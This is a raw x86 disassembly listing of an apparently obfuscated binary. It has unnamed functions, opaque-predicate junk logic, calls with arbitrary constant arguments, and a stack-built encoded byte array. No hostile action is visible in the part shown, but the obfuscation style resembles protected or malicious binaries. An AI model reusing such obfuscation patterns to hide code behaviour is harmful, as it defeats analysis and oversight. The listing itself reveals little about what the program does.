mov dword [ebp - 0x750], 1
jmp 0x43d7fd
and dword [ebp - 0x750], 0
mov eax, dword [ebp - 0x750]
mov dword [ebp - 0xf78], eax
mov byte [ebp - 0x129], 0
push 1
lea eax, [ebp - 0x129]
push eax
push 0x15dd
push 0x19c9
push 1
push 0
push 1
push 0x594e
call fcn.004366d2
add esp, 0x20
jmp 0x43d720
cmp dword [ebp - 0x40], 0
jne 0x43dc9d
mov dword [ebp - 0x1f0], 0x68ec0ae9
mov dword [ebp - 0xf88], 0xf47a6dee
mov dword [ebp - 0x238], 0xffffffff
mov dword [ebp - 0x57c], 0xe848967c
mov dword [ebp - 0x1210], 2
mov dword [ebp - 0xc8], 0
jmp 0x43d890
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 1
jge 0x43d8ac
mov eax, dword [ebp - 0xc8]
mov dword [ebp + eax*4 - 0xf80], 0x51328f6c
jmp 0x43d883
mov dword [ebp - 0xc8], 0
jmp 0x43d8c5
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 2
jge 0x43d8e1
mov eax, dword [ebp - 0xc8]
mov dword [ebp + eax*4 - 0xd84], 0xf2d6273
jmp 0x43d8b8
mov dword [ebp - 0x1f0], 7
jmp 0x43d8fa
mov eax, dword [ebp - 0x1f0]
dec eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 6
jge 0x43dc69
mov dword [ebp - 0x1288], 0xffffffff
mov dword [ebp - 0x488], 4
mov dword [ebp - 0xaf8], 1
mov dword [ebp - 0x90], 0
jmp 0x43d93e
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 1
jge 0x43d95a
mov eax, dword [ebp - 0x90]
mov dword [ebp + eax*4 - 0x480], 1
jmp 0x43d931
mov dword [ebp - 0x90], 0
jmp 0x43d973
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 1
jge 0x43d98f
mov eax, dword [ebp - 0x90]
mov dword [ebp + eax*4 - 0x1130], 0x494d85d5
jmp 0x43d966
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xd84]
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0xd84]
inc ecx
push 4
pop edx
shl edx, 0
mov dword [ebp + edx - 0xd84], ecx
test eax, eax
jne 0x43dc28
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x480], 1
jle 0x43d9db
mov dword [ebp - 0xcb8], 1
jmp 0x43d9e2
and dword [ebp - 0xcb8], 0
mov eax, dword [ebp - 0xcb8]
imul eax, dword [ebp - 0x238]
mov dword [ebp - 0x758], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x758]
mov dword [ebp + eax - 0x480], ecx
mov eax, dword [ebp - 0x488]
imul eax, dword [ebp - 0x758]
cmp eax, dword [ebp - 0x488]
jle 0x43da29
mov dword [ebp - 0xaf0], 1
jmp 0x43da30
and dword [ebp - 0xaf0], 0
mov eax, dword [ebp - 0x1288]
cmp dword [ebp - 0xaf0], eax
jne 0x43da4a
mov dword [ebp - 0x760], 1
jmp 0x43da51
and dword [ebp - 0x760], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xd84]
cmp dword [ebp - 0x760], eax
jne 0x43da72
mov dword [ebp - 0xdb8], 1
jmp 0x43da79
and dword [ebp - 0xdb8], 0
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xf80], 0xd68c
mov eax, dword [ebp - 0x57c]
mov ecx, dword [ebp - 0xdb8]
lea eax, [ecx + eax - 1]
imul eax, eax, 0xd68c
test eax, eax
jne 0x43dab6
cmp dword [ebp - 0x1f0], 0
jne 0x43dab6
and dword [ebp - 0x768], 0
jmp 0x43dac0
mov dword [ebp - 0x768], 1
mov eax, dword [ebp - 0x768]
mov dword [ebp - 0xaf8], eax
mov eax, dword [ebp - 0x238]
cmp dword [ebp - 0xaf8], eax
jne 0x43dae6
mov dword [ebp - 0x770], 1
jmp 0x43daed
and dword [ebp - 0x770], 0
cmp dword [ebp - 0x770], 0x2a49
jl 0x43db05
mov dword [ebp - 0xcc0], 1
jmp 0x43db0c
and dword [ebp - 0xcc0], 0
mov eax, dword [ebp - 0x57c]
cmp dword [ebp - 0xcc0], eax
jg 0x43db26
mov dword [ebp - 0x778], 1
jmp 0x43db2d
and dword [ebp - 0x778], 0
mov eax, dword [ebp - 0x238]
imul eax, dword [ebp - 0x778]
cmp eax, 0xfffffff6
jge 0x43db4b
mov dword [ebp - 0xb00], 1
jmp 0x43db52
and dword [ebp - 0xb00], 0
cmp dword [ebp - 0xb00], 0
je 0x43db77
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x480], 0
je 0x43db77
mov dword [ebp - 0x780], 1
jmp 0x43db7e
and dword [ebp - 0x780], 0
cmp dword [ebp - 0x780], 0xe227
jg 0x43db96
mov dword [ebp - 0xdf4], 1
jmp 0x43db9d
and dword [ebp - 0xdf4], 0
mov eax, dword [ebp - 0xdf4]
add eax, 0xc7128abf
mov dword [ebp - 0x788], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x788]
mov dword [ebp + eax - 0x1130], ecx
mov eax, dword [ebp - 0x57c]
cmp dword [ebp - 0x788], eax
jg 0x43dbdb
mov dword [ebp - 0xb08], 1
jmp 0x43dbe2
and dword [ebp - 0xb08], 0
mov eax, dword [ebp - 0x488]
cmp dword [ebp - 0xb08], eax
jge 0x43dbfc
mov dword [ebp - 0x790], 1
jmp 0x43dc03
and dword [ebp - 0x790], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xd84]
cmp eax, dword [ebp - 0x790]
jl 0x43dc28
push 0xfffffffffffffff9
pop eax
test eax, eax
jne 0x43dc28
and dword [ebp - 0xcc8], 0
jmp 0x43dc32
mov dword [ebp - 0xcc8], 1
mov eax, dword [ebp - 0xcc8]
mov dword [ebp - 0x238], eax
push 1
push 0xbd
push 0x79d2
push 1
push 0x5953
push 0
push 1
push 0x36f1
push 1
call fcn.004389da
add esp, 0x24
jmp 0x43d8ed
push 1
lea eax, [ebp - 0xf88]
push eax
push 1
push 0x33
push 0
push 0xd78
push 0x212c
push 0x2014
lea eax, [ebp - 0x1210]
push eax
push 0
call fcn.00434952
add esp, 0x28
jmp 0x446a24
mov dword [ebp - 0xf8], 0x324ec2e0
mov dword [ebp - 0xf8], 0x11
jmp 0x43dcc0
mov eax, dword [ebp - 0xf8]
dec eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0xffffffe3
je 0x43de6a
mov dword [ebp - 0x1dc], 0xffffffff
mov dword [ebp - 0x1dc], 0xffffffeb
jmp 0x43dcf0
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0xfffffff5
jne 0x43de65
mov dword [ebp - 0x490], 0
mov dword [ebp - 0x28c], 0
jmp 0x43dd20
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 1
jge 0x43dd3c
mov eax, dword [ebp - 0x28c]
mov dword [ebp + eax*4 - 0x510], 0xffffffff
jmp 0x43dd13
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x1618], eax
cmp dword [ebp - 0xf8], 0
je 0x43dd7e
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x1620], eax
push 4
pop eax
imul eax, eax, 0
imul eax, dword [ebp + eax - 0x510], 0x5671
test eax, eax
je 0x43dd7e
mov dword [ebp - 0x798], 1
jmp 0x43dd85
and dword [ebp - 0x798], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x798]
add ecx, dword [ebp + eax - 0x510]
mov dword [ebp - 0xb10], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb10]
mov dword [ebp + eax - 0x510], ecx
cmp dword [ebp - 0xb10], 0x6c71
jl 0x43ddc9
mov dword [ebp - 0x7a0], 1
jmp 0x43ddd0
and dword [ebp - 0x7a0], 0
mov eax, dword [ebp - 0x1dc]
cmp dword [ebp - 0x7a0], eax
jg 0x43ddea
mov dword [ebp - 0xdfc], 1
jmp 0x43ddf1
and dword [ebp - 0xdfc], 0
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0xdfc], eax
jge 0x43de0b
mov dword [ebp - 0x7a8], 1
jmp 0x43de12
and dword [ebp - 0x7a8], 0
mov eax, dword [ebp - 0x490]
cmp dword [ebp - 0x7a8], eax
je 0x43de2c
mov dword [ebp - 0xb18], 1
jmp 0x43de33
and dword [ebp - 0xb18], 0
mov eax, dword [ebp - 0x490]
cmp dword [ebp - 0xb18], eax
je 0x43de4d
mov dword [ebp - 0x7b0], 1
jmp 0x43de54
and dword [ebp - 0x7b0], 0
mov eax, dword [ebp - 0x7b0]
mov dword [ebp - 0x490], eax
jmp 0x43dce3
jmp 0x43dcb3
push 1
push 0
push 1
push 0x725
push 0x6b2e
call fcn.00437cc1
add esp, 0x14
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x40]
add ecx, dword [eax]
add ecx, dword [ebp - 0x38]
mov dword [ebp - 8], ecx
mov dword [ebp - 0x138], 0xb26bdde0
mov dword [ebp - 0x138], 0xa
jmp 0x43deb3
mov eax, dword [ebp - 0x138]
dec eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 3
jge 0x43e175
mov dword [ebp - 0x1f8], 2
mov dword [ebp - 0x7b8], 1
mov dword [ebp - 0xf90], 0x7e2
mov dword [ebp - 0xfa0], 0xfffffffb
mov dword [ebp - 0x32c], 0
jmp 0x43df01
mov eax, dword [ebp - 0x32c]
inc eax
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 2
jge 0x43df1d
mov eax, dword [ebp - 0x32c]
mov dword [ebp + eax*4 - 0xeb4], 0x318d5816
jmp 0x43def4
push 1
push 1
push 1
push 1
lea eax, [ebp - 0x1f8]
push eax
push 0
call fcn.00439178
add esp, 0x18
mov dword [ebp - 0x1f8], 0
jmp 0x43df4f
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 0xc
jge 0x43e170
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0x1140], 0xbb9cec02
mov dword [ebp - 0xb8], 1
jmp 0x43df89
mov eax, dword [ebp - 0xb8]
dec eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
jl 0x43e16b
mov dword [ebp - 0xcd0], 0x88cdf8ab
mov dword [ebp - 0xf98], 0x3b5b
mov dword [ebp - 0xcd0], 0xffffffff
mov eax, dword [ebp - 0xcd0]
mov dword [ebp - 0x7b8], eax
mov eax, dword [ebp - 0x7b8]
mov dword [ebp - 0x1628], eax
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x1630], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xeb4]
mov dword [ebp - 0x1638], eax
mov eax, dword [ebp - 0x138]
cmp dword [ebp - 0xf90], eax
jg 0x43e005
mov dword [ebp - 0xb20], 1
jmp 0x43e00c
and dword [ebp - 0xb20], 0
mov eax, 0xb8fa
sub eax, dword [ebp - 0xb20]
cmp eax, 0x5a82a6f9
jl 0x43e02a
mov dword [ebp - 0x7c0], 1
jmp 0x43e031
and dword [ebp - 0x7c0], 0
imul eax, dword [ebp - 0x7c0], 0x9b03
cmp eax, 0x4655
jge 0x43e04e
mov dword [ebp - 0x1138], 1
jmp 0x43e055
and dword [ebp - 0x1138], 0
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x1640], eax
mov eax, dword [ebp - 0xb8]
cmp dword [ebp + eax*4 - 0xeb4], 0
je 0x43e08a
mov eax, 0x7da19ae8
test eax, eax
je 0x43e08a
push 8
pop eax
test eax, eax
jne 0x43e08a
and dword [ebp - 0xe20], 0
jmp 0x43e094
mov dword [ebp - 0xe20], 1
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp + eax*4 - 0xeb4]
add eax, dword [ebp - 0xe20]
sub eax, dword [ebp - 0xf98]
cmp eax, 0xffffffff
ja 0x43e0be
mov dword [ebp - 0x7c8], 1
jmp 0x43e0c5
and dword [ebp - 0x7c8], 0
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp + eax*4 - 0xeb4]
cmp dword [ebp - 0x7c8], eax
jg 0x43e0e6
mov dword [ebp - 0xb28], 1
jmp 0x43e0ed
and dword [ebp - 0xb28], 0
cmp dword [ebp - 0xb28], 0x49f4ffcf
jl 0x43e105
mov dword [ebp - 0x1268], 1
jmp 0x43e10c
and dword [ebp - 0x1268], 0
mov eax, dword [ebp - 0xfa0]
mov dword [ebp - 0x1648], eax
mov eax, dword [ebp - 0x138]
cmp dword [ebp - 0xb8], eax
je 0x43e132
mov dword [ebp - 0x7d0], 1
jmp 0x43e139
and dword [ebp - 0x7d0], 0
mov eax, dword [ebp - 0x7d0]
mov dword [ebp - 0x1140], eax
mov byte [ebp - 0x16a], 0
lea eax, [ebp - 0x16a]
push eax
push 1
push 0x44f8
push 1
push 1
call fcn.00433395
add esp, 0x14
jmp 0x43df7c
jmp 0x43df42
jmp 0x43dea6
xor ecx, ecx
call fcn.004245c9
push eax
call fcn.00462083
pop ecx
mov dword [ebp - 0x108], 7
mov dword [ebp - 0xfa8], 0xfffffffc
mov dword [ebp - 0x294], 0
jmp 0x43e1b0
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 3
jge 0x43e1cc
mov eax, dword [ebp - 0x294]
mov dword [ebp + eax*4 - 0x15b4], 0xcff0
jmp 0x43e1a3
mov dword [ebp - 0x108], 2
jmp 0x43e1e5
mov eax, dword [ebp - 0x108]
dec eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
jl 0x43e224
mov eax, dword [ebp - 0x108]
mov eax, dword [ebp + eax*4 - 0x15b4]
sub eax, dword [ebp - 0x108]
jne 0x43e20f
mov dword [ebp - 0xcd8], 1
jmp 0x43e216
and dword [ebp - 0xcd8], 0
mov eax, dword [ebp - 0xcd8]
mov dword [ebp - 0xfa8], eax
jmp 0x43e1d8
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x15b4], 1
jle 0x43e240
mov dword [ebp - 0x7d8], 1
jmp 0x43e247
and dword [ebp - 0x7d8], 0
mov eax, dword [ebp - 0x108]
add eax, dword [ebp - 0x7d8]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x330], 0
mov dword [ebp - 0xfb0], 7
mov dword [ebp - 0x330], 0x13
jmp 0x43e286
mov eax, dword [ebp - 0x330]
dec eax
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 0xfffffff3
jle 0x43e2e0
mov dword [ebp - 0x118c], 0x2edc7555
push 0
push 1
push 1
push 1
lea eax, [ebp - 0x118c]
push eax
push 0x6487
push 0x3db4
lea eax, [ebp - 0xfb0]
push eax
push 0x1fb
push 0x10e0
push 0x2cb7
call fcn.0042dbfb
add esp, 0x2c
push 1
push 1
push 1
call fcn.00433755
add esp, 0xc
jmp 0x43e279
push 0x4f69
push 0x135d
push 0x23ae
push 0xc87
push 0x63c4
push 1
push 1
push 1
push 1
push 0x60d7
call fcn.004339ff
add esp, 0x28
mov byte [ebp - 0x458], 8
mov byte [ebp - 0x457], 0x31
mov byte [ebp - 0x456], 1
mov byte [ebp - 0x455], 0x38
mov byte [ebp - 0x454], 3
mov byte [ebp - 0x453], 0x3c
mov byte [ebp - 0x452], 9
mov byte [ebp - 0x451], 0x37
mov byte [ebp - 0x450], 0
mov byte [ebp - 0x44f], 0x3a
mov byte [ebp - 0x44e], 2
mov byte [ebp - 0x44d], 0x42
mov byte [ebp - 0x44c], 5
mov byte [ebp - 0x44b], 0x3e
mov byte [ebp - 0x44a], 6
mov byte [ebp - 0x449], 0x40
mov byte [ebp - 0x448], 4
mov byte [ebp - 0x447], 0x49
mov byte [ebp - 0x446], 0x21
mov byte [ebp - 0x445], 0x30
mov byte [ebp - 0x444], 0x94
mov byte [ebp - 0x443], 0x42
mov byte [ebp - 0x442], 0x59
mov byte [ebp - 0x441], 0xa0
mov byte [ebp - 0x440], 0x52
mov byte [ebp - 0x43f], 0x1a
mov byte [ebp - 0x43e], 0xdd
mov byte [ebp - 0x43d], 0x32
mov byte [ebp - 0x43c], 0x8a
mov byte [ebp - 0x43b], 0xec
mov byte [ebp - 0x43a], 0x39
mov byte [ebp - 0x439], 0xea
mov byte [ebp - 0x438], 0x3b
mov byte [ebp - 0x437], 0x8d
mov byte [ebp - 0x436], 0x7b
mov byte [ebp - 0x435], 0xf0
mov byte [ebp - 0x434], 0xfe
mov byte [ebp - 0x433], 0xff
mov byte [ebp - 0x432], 0x30
mov byte [ebp - 0x431], 0xf2
mov byte [ebp - 0x430], 0xdf
mov byte [ebp - 0x42f], 0xf3
mov byte [ebp - 0x42e], 0xd5
mov byte [ebp - 0x42d], 0xc3
mov byte [ebp - 0x42c], 0x6b
mov byte [ebp - 0x42b], 0x8c
mov byte [ebp - 0x42a], 0x8e
mov byte [ebp - 0x429], 0x48
mov byte [ebp - 0x428], 0xa
mov byte [ebp - 0x427], 0x66
mov byte [ebp - 0x426], 0x1b
mov byte [ebp - 0x425], 7
mov byte [ebp - 0x424], 0x49
mov dword [ebp - 0x1148], 0x5b57fd54
push 1
push 1
push 1
lea eax, [ebp - 0x1148]
push eax
push 0
call fcn.00435a22
add esp, 0x14
and dword [ebp - 0xec], 0
and dword [ebp - 0xb98], 0
jmp 0x43e4c0
mov eax, dword [ebp - 0xec]
inc eax
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0x35
jae 0x43f4e4
mov dword [ebp - 0x98], 1
mov dword [ebp - 0x24], 0x88c55612
mov dword [ebp - 0x1650], 0
mov dword [ebp - 0x1658], 0x3b882169
mov dword [ebp - 0x29c], 0
jmp 0x43e50b
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 2
jge 0x43e527
mov eax, dword [ebp - 0x29c]
mov dword [ebp + eax*4 - 0x175c], 0x51dba1dd
jmp 0x43e4fe
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x1660], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x1668], eax
cmp dword [ebp - 0x98], 0xcc9c
jne 0x43e557
mov dword [ebp - 0xb30], 1
jmp 0x43e55e
and dword [ebp - 0xb30], 0
mov eax, dword [ebp - 0x98]
add eax, dword [ebp - 0xb30]
cmp eax, 9
jbe 0x43e57b
mov dword [ebp - 0x7e0], 1
jmp 0x43e582
and dword [ebp - 0x7e0], 0
mov eax, dword [ebp - 0x98]
imul eax, dword [ebp - 0x7e0]
cmp eax, 0xfffffffe
jl 0x43e5a0
mov dword [ebp - 0xdc8], 1
jmp 0x43e5a7
and dword [ebp - 0xdc8], 0
cmp dword [ebp - 0xdc8], 0xffffffff
jbe 0x43e5bc
mov dword [ebp - 0x7e8], 1
jmp 0x43e5c3
and dword [ebp - 0x7e8], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x7e8], eax
jg 0x43e5da
mov dword [ebp - 0xb38], 1
jmp 0x43e5e1
and dword [ebp - 0xb38], 0
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0xb38]
imul eax, dword [ebp - 0x98]
cmp eax, dword [ebp - 0x98]
jge 0x43e605
mov dword [ebp - 0xfb8], 1
jmp 0x43e60c
and dword [ebp - 0xfb8], 0
mov eax, dword [ebp - 0x98]
cmp dword [ebp - 0x24], eax
jl 0x43e623
mov dword [ebp - 0x7f0], 1
jmp 0x43e62a
and dword [ebp - 0x7f0], 0
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x7f0]
sub eax, dword [ebp - 0x98]
cmp eax, 0x1e13
jge 0x43e652
mov eax, 0x54e5
test eax, eax
jne 0x43e652
and dword [ebp - 0xce0], 0
jmp 0x43e65c
mov dword [ebp - 0xce0], 1
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0xce0], eax
jge 0x43e673
mov dword [ebp - 0x7f8], 1
jmp 0x43e67a
and dword [ebp - 0x7f8], 0
cmp dword [ebp - 0x7f8], 0x83a7ef23
jb 0x43e6ed
mov dword [ebp - 0x24], 0
jmp 0x43e696
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x35
jle 0x43e6eb
mov byte [ebp - 0x1a5], 0
push 0x849
push 0
push 0x631f
push 1
push 0x4b56
push 1
push 0x473b
push 0x92
push 1
push 0x117e
push 0x60f9
push 0x6b
push 0x3620
lea eax, [ebp - 0x1a5]
push eax
push 0x7f0a
call fcn.0043aba6
add esp, 0x3c
jmp 0x43e68f
jmp 0x43e755
mov dword [ebp - 0x338], 0
jmp 0x43e706
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 2
jge 0x43e722
mov eax, dword [ebp - 0x338]
mov dword [ebp + eax*4 - 0x12f8], 3
jmp 0x43e6f9
mov dword [ebp - 0x24], 0
jmp 0x43e732
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 1
jg 0x43e755
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x12f8]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x12f8], eax
jmp 0x43e72b
push 1
push 0x7e30
push 0
push 0
push 0x6966
call fcn.0042a822
add esp, 0x14
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x458]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0xec], eax
jne 0x43efa2
mov dword [ebp - 0x12b0], 0xffff
mov dword [ebp - 0x12ac], 0xffff
mov dword [ebp - 0x12a8], 0xffff
mov dword [ebp - 0x12a4], 0xffff
mov dword [ebp - 0x55c], 0xee973417
mov dword [ebp - 0x2ac], 0xf4a0426a
mov dword [ebp - 0x1194], 4
mov dword [ebp - 0x1d4], 0xd6a9b03b
mov dword [ebp - 0xfc0], 1
mov dword [ebp - 0xe2c], 0xda19ae86
mov dword [ebp - 0x1390], 4
mov dword [ebp - 0x138c], 4
mov dword [ebp - 0x1388], 4
mov dword [ebp - 0x1384], 4
mov dword [ebp - 0x498], 0xde197b2
mov dword [ebp - 0x1158], 1
mov dword [ebp - 0x2a4], 0
jmp 0x43e844
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 3
jge 0x43e860
mov eax, dword [ebp - 0x2a4]
mov dword [ebp + eax*4 - 0x15c4], 0x71d1ba05
jmp 0x43e837
xor eax, eax
jne 0x43e912
mov dword [ebp - 0x2ac], 1
cmp dword [ebp - 0x2ac], 0x10e5e534
je 0x43e88a
mov dword [ebp - 0xb40], 1
jmp 0x43e891
and dword [ebp - 0xb40], 0
mov eax, dword [ebp - 0x55c]
cmp dword [ebp - 0xb40], eax
jge 0x43e8ab
mov dword [ebp - 0x800], 1
jmp 0x43e8b2
and dword [ebp - 0x800], 0
mov eax, dword [ebp - 0x55c]
cmp dword [ebp - 0x800], eax
jne 0x43e8cc
mov dword [ebp - 0xe24], 1
jmp 0x43e8d3
and dword [ebp - 0xe24], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x12b0]
cmp eax, dword [ebp - 0xe24]
jle 0x43e8f4
mov dword [ebp - 0x808], 1
jmp 0x43e8fb
and dword [ebp - 0x808], 0
mov eax, dword [ebp - 0x55c]
cmp dword [ebp - 0x808], eax
jle 0x43e912
and dword [ebp - 0xb48], 0
jmp 0x43e91c
mov dword [ebp - 0xb48], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x12b0]
cmp dword [ebp - 0xb48], eax
jle 0x43e93d
mov dword [ebp - 0x810], 1
jmp 0x43e944
and dword [ebp - 0x810], 0
mov eax, dword [ebp - 0x1194]
cmp dword [ebp - 0x810], eax
jle 0x43eb2d
mov dword [ebp - 0xdd0], 0x32b7b88c
mov dword [ebp - 0x1670], 0x6b8642e5
mov dword [ebp - 0x1678], 0x6e82a74d
mov dword [ebp - 0x830], 0xd69b45c
mov dword [ebp - 0x119c], 0x8b3176a1
mov dword [ebp - 0x380], 0
jmp 0x43e9a1
mov eax, dword [ebp - 0x380]
inc eax
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 3
jge 0x43e9bd
mov eax, dword [ebp - 0x380]
mov dword [ebp + eax*4 - 0x1718], 0
jmp 0x43e994
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x12b0]
mov dword [ebp - 0x1680], eax
mov eax, dword [ebp - 0x1d4]
cmp dword [ebp - 0xfc0], eax
jl 0x43e9e9
mov dword [ebp - 0xce8], 1
jmp 0x43e9f0
and dword [ebp - 0xce8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x12b0]
cmp dword [ebp - 0xce8], eax
jg 0x43ea11
mov dword [ebp - 0x818], 1
jmp 0x43ea18
and dword [ebp - 0x818], 0
mov eax, dword [ebp - 0x830]
cmp dword [ebp - 0x818], eax
je 0x43ea32
mov dword [ebp - 0xb50], 1
jmp 0x43ea39
and dword [ebp - 0xb50], 0
mov eax, dword [ebp - 0xdd0]
imul eax, dword [ebp - 0x498]
mov dword [ebp - 0x1150], eax
mov eax, dword [ebp - 0xb50]
mov dword [ebp - 0xfc8], eax
mov eax, dword [ebp - 0x498]
inc eax
mov dword [ebp - 0x498], eax
mov eax, dword [ebp - 0x1150]
cmp eax, dword [ebp - 0xfc8]
jne 0x43ea7f
mov dword [ebp - 0x518], 1
jmp 0x43ea86
and dword [ebp - 0x518], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x518]
mov dword [ebp + eax - 0x1718], ecx
cmp dword [ebp - 0x518], 0
jne 0x43eab1
push 9
pop eax
test eax, eax
jne 0x43eab1
and dword [ebp - 0x820], 0
jmp 0x43eabb
mov dword [ebp - 0x820], 1
mov dword [ebp - 0x2ac], 0xffffffff
mov eax, dword [ebp - 0x119c]
imul eax, dword [ebp - 0x820]
cmp dword [ebp - 0x2ac], eax
jg 0x43eae6
mov dword [ebp - 0x828], 1
jmp 0x43eaed
and dword [ebp - 0x828], 0
mov eax, dword [ebp - 0xdd0]
cmp eax, dword [ebp - 0x828]
jl 0x43eb00
or eax, 0xffffffff
je 0x43eb15
cmp dword [ebp - 0x1d4], 0
je 0x43eb15
mov dword [ebp - 0xb58], 1
jmp 0x43eb1c
and dword [ebp - 0xb58], 0
mov eax, dword [ebp - 0xb58]
mov dword [ebp - 0x830], eax
jmp 0x43ec50
mov dword [ebp - 0x4a0], 0xbf04b2b3
mov dword [ebp - 0xfd0], 0xba24
mov dword [ebp - 0x1d4], 0
jmp 0x43eb5a
mov eax, dword [ebp - 0x1d4]
dec eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0xffffffe9
jl 0x43eb8d
push 0x7a5d
push 1
push 1
push 1
push 0x54c6
push 1
push 0x14c9
push 0x1190
push 0
push 1
call fcn.0042c6f1
add esp, 0x28
jmp 0x43eb4d
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x15c4]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x15c4], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1390], 0
jne 0x43ebc3
mov dword [ebp - 0xcf0], 1
jmp 0x43ebca
and dword [ebp - 0xcf0], 0
mov eax, dword [ebp - 0xcf0]
sub eax, dword [ebp - 0x4a0]
je 0x43ebed
cmp dword [ebp - 0x4a0], 0
je 0x43ebed
mov dword [ebp - 0x838], 1
jmp 0x43ebf4
and dword [ebp - 0x838], 0
mov eax, dword [ebp - 0x838]
sub eax, dword [ebp - 0x4a0]
add eax, 0x4c660729
cmp eax, 1
je 0x43ec16
mov dword [ebp - 0xb60], 1
jmp 0x43ec1d
and dword [ebp - 0xb60], 0
mov eax, dword [ebp - 0xe2c]
sub eax, dword [ebp - 0xb60]
cmp eax, dword [ebp - 0xfd0]
jle 0x43ec3d
mov dword [ebp - 0x840], 1
jmp 0x43ec44
and dword [ebp - 0x840], 0
mov eax, dword [ebp - 0x840]
mov dword [ebp - 0xe2c], eax
push 0x5d0
push 0x3fc4
push 1
push 0x77fc
push 1
push 0x3907
lea eax, [ebp - 0x1158]
push eax
push 0x3184
push 1
push 1
push 1
push 0x188c
push 0x90
push 0
call fcn.00439e47
add esp, 0x38
push 0x5e70
push 1
push 0x571e
push 0
push 0
push 0x60a6
push 1
lea eax, [ebp - 0xb98]
push eax
call fcn.0042ff3e
add esp, 0x20
push 1
push 0x542c
push 1
push 0x2011
lea eax, [ebp - 0xec]
push eax
push 0x1d51
push 0x4e46
push 0x4a01
push 0
push 0x4d94
call fcn.00431850
add esp, 0x28
mov dword [ebp - 0x2b4], 0x81c2900
mov dword [ebp - 0x11a4], 0xa8d7d2a7
mov dword [ebp - 0x340], 0
jmp 0x43ed14
mov eax, dword [ebp - 0x340]
inc eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 1
jge 0x43ed30
mov eax, dword [ebp - 0x340]
mov dword [ebp + eax*4 - 0x3a4], 0x1713b910
jmp 0x43ed07
mov dword [ebp - 0x2b4], 0
jmp 0x43ed49
